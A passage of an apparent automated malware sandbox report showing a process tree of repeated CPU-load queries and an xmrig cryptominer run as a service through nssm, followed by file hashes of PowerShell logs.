                                                                                                                                                                                          PID:2500
                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:4272
                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                            timeout /t 1
                                                                                                                                                                                            2⤵
                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                            PID:1628
                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:2688
                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:4956
                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                PID:4964
                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:4732
                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:3760
                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                    PID:2616
                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:4804
                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:3200
                                                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                        timeout /t 1
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                        PID:4256
                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:3008
                                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:1580
                                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                            timeout /t 1
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:4820
                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:3216
                                                                                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                  wmic cpu get loadpercentage
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:1512
                                                                                                                                                                                                                • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                  timeout /t 1
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                                                                                  PID:5048
                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:4132
                                                                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                      wmic cpu get loadpercentage
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:1664
                                                                                                                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                      timeout /t 1
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                                                                                      PID:3088
                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:1868
                                                                                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                          wmic cpu get loadpercentage
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:4496
                                                                                                                                                                                                                        • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                          timeout /t 1
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                                                                                          PID:4372
                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:3328
                                                                                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                              wmic cpu get loadpercentage
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:916
                                                                                                                                                                                                                            • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                              timeout /t 1
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                                                                                                              PID:1620
                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:1144
                                                                                                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                  wmic cpu get loadpercentage
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:3660
                                                                                                                                                                                                                                • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                  timeout /t 1
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                                                                                                  PID:368
                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:1276
                                                                                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                      wmic cpu get loadpercentage
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:4244
                                                                                                                                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                      timeout /t 1
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                                                                                                      PID:516
                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:4300
                                                                                                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                          wmic cpu get loadpercentage
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:3064
                                                                                                                                                                                                                                        • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                          timeout /t 1
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                                                                                                          PID:2272
                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:4480
                                                                                                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                              wmic cpu get loadpercentage
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:4968
                                                                                                                                                                                                                                            • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                              timeout /t 1
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                                                                                                                              PID:1108
                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:2364
                                                                                                                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                  wmic cpu get loadpercentage
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:4612
                                                                                                                                                                                                                                                • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                  timeout /t 1
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                                                                                                                  PID:2876
                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:4308
                                                                                                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                      wmic cpu get loadpercentage
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:1644
                                                                                                                                                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                      timeout /t 1
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                                                                                                                      PID:4896
                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:3596
                                                                                                                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                          wmic cpu get loadpercentage
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:4188
                                                                                                                                                                                                                                                        • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                          timeout /t 1
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                                                                                                                          PID:1748
                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:1796
                                                                                                                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                              wmic cpu get loadpercentage
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:2124
                                                                                                                                                                                                                                                            • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                              timeout /t 1
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                                                                                                                                              PID:4780
                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:4104
                                                                                                                                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                  wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:3656
                                                                                                                                                                                                                                                                • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                  timeout /t 1
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                  PID:3412
                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:3816
                                                                                                                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                      wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:1500
                                                                                                                                                                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                      timeout /t 1
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                      PID:5100
                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:1892
                                                                                                                                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                          wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:4652
                                                                                                                                                                                                                                                                        • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                          timeout /t 1
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                          PID:980
                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:2080
                                                                                                                                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                              wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:220
                                                                                                                                                                                                                                                                            • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                              timeout /t 1
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                              PID:1212
                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                PID:2216
                                                                                                                                                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                  wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:4888
                                                                                                                                                                                                                                                                                • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                  timeout /t 1
                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                  PID:3760
                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                    PID:3524
                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                      wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:3688
                                                                                                                                                                                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                      timeout /t 1
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                      PID:756
                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                        PID:4392
                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                          wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:4452
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                          timeout /t 1
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                          PID:4352
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                            PID:4256
                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                              wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:4088
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                              timeout /t 1
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                              PID:1580
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                PID:3828
                                                                                                                                                                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                  wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:4560
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                  timeout /t 1
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                  PID:2844
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:2424
                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                      wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:4192
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                      timeout /t 1
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                      PID:2368
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                        PID:3668
                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                          wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:3164
                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                          timeout /t 1
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                          PID:1440
                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                            PID:3812
                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                              wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:4984
                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                              timeout /t 1
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                              PID:3928
                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                PID:4872
                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                  wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:1144
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                                  timeout /t 1
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                  PID:1672
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                    PID:4380
                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                      wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                        PID:3188
                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                                      timeout /t 1
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                      PID:4600
                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                        PID:3744
                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                          wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                            PID:4300
                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                                          timeout /t 1
                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                          PID:4536
                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                            PID:4064
                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                              wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                PID:2432
                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                                              timeout /t 1
                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                              PID:4468
                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\nssm.exe
                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\moneroocean\nssm.exe
                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                              PID:1040
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\moneroocean\xmrig.exe
                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\moneroocean\xmrig.exe"
                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                  PID:1588
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                      PID:1156

                                                                                                                                                                                                                                                                                                                                Network

                                                                                                                                                                                                                                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                Downloads

                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  2KB

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  2f57fde6b33e89a63cf0dfdd6e60a351

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  445bf1b07223a04f8a159581a3d37d630273010f

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  1KB

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  5b5352c55a8e79ac8de4be3202d496a1

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  4a263d9e36e5ef972e4b19035cae169e1df6459c

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  eff52a77e2fd653199c31162fbd5557a83995ef0e6e0570bf6495d1b5386b3b8

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  c4e5e245c427bc6f9cc95ae80efbd46fd432bea5a4f9366332b1850d833316e6f4eab0e25259b2ea39c40724dcae91ba748234cb1a3cf95b38d8fed162741d63

                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  1KB

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  d5ede15b5d0335c6660277e3a353e367

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  5f9654963b206169dc887594f1bc121ad41077a8

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  b525440b3416e9f156cfef545fa6b4084edb6a4ca2403eb8bc0d3d688f6d76fd

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  32687a1a46bbc4fdfd48567a60c77ea60f53bf1d3bc6aeb9d0ac5dff0ae0782fe0268cd3aa6ae10be5f4a2c36e7466d50ba35dd62b3fc55908118f153fb4a26c

                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  1KB

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  e19379fa13008a264b8801e2cbb9f150

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  d7fe55300709fa03accb2847278d9047e1b22fd7

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  f3a21bb5091d1fab430c4fa097dac868cb674c5b3768678fe9c0ef81b920cc72

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  64e3ff9b8fa46eb2fd8165d23538ffe03fb5c5096f77a800763c17795df0a6b58062b14f0807c24e73b6721fb78eee86b785e87f75a7f0ed55eda0f33811b712

                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  1KB

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  95fe0f51cedca051753d9935e25a9519

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  f842066b67a9d083abe3f74cf3b17b25e1ef2d19

                                                                                                                                                                                                                                                                                                                                  SHA256

